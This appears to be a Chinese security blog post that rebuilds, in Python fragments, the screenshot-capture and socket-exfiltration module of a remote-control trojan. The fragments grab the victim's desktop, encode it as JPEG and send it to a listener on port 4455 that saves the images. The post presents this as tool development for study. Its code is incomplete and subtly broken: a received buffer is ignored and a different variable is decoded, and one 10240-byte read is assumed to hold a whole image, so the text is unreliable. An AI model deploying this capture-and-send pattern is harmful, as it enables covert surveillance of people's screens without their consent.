点击上方蓝字关注我们
0x01 简述
近期因为没什么事情,就想拆分下常用的工具功能再用代码来实现该功能。用这种方法达到之所以然的效果,同时独立出的工具后续也方便做一些小更改。
0x02 拆分远控之桌面截图获取
在某些非桌面实时远控木马中都存在用户桌面截取功能,以此来获取到图形化用户的桌面情况。桌面截图工具的运行流程如下:
1.受控端截取桌面 2.图片数据编码3.数据传输4.控制端获取数据5.控制端解析数据S
用python实现以上要求需要的模块如下:
socketPILsocketcv2numpystruct
对于数据传输有下面几种传输方式
代码中利用socket传输邮箱接收图片社交机器人接收图片
下文主要讲的是socket传输到服务端的代码
0x03主要代码
屏幕截取:
from PIL import ImageGrab
p = ImageGrab.grab()
编码部分(转化为socket可传输):
import cv2
import numpy as np
img1 = np.asarray(p)
data = cv2.resize(img1, dsize=(1000,668))#这一步主要是为了裁剪图片大小
_, imgdata = cv2.imencode(".jpg", data)#将np数组根据jpg进行编码
接收部分:
import socket
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '0.0.0.0'
port = 4455
socket_server.bind((host, port))
socket_server.listen(5)
clientsocket, addr = socket_server.accept()
img_by=clientsocket.recv(10240)
解码部分(socket接收后运行):
import cv2
import numpy as np
img_data=clientsocket.recv(10240)
img_decode=np.frombuffer(img_by,dtype=np.uint8)
img= cv2.imdecode(img_decode,cv2.IMREAD_COLOR)
存储图片:
import cv2
import time
cv2.imwrite(str(time.time())+".jpg",cv2.cvtColor(img,cv2.COLOR_BGR2RGB))
cv2.waitKey(90)
0x04 问题总结
1.为什么要编码后再传输?答:两次编码都是为了转换成socket可以传输的格式2.cv2.COLOR_BGR2RGB是什么意思?答:ImageGrab.grab()获取的图像是RGB格式的,但是在后面的操作中变成BGR像素格式的array,所以保存的时候要重新转换为RGB格式
代码和原理就是上面这些,师傅们有兴趣可以拼接一下试试。项目地址:https://github.com/Tsojan/screenshot
原文始发于微信公众号(灼剑安全团队):工具开发|桌面监控获取工具
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论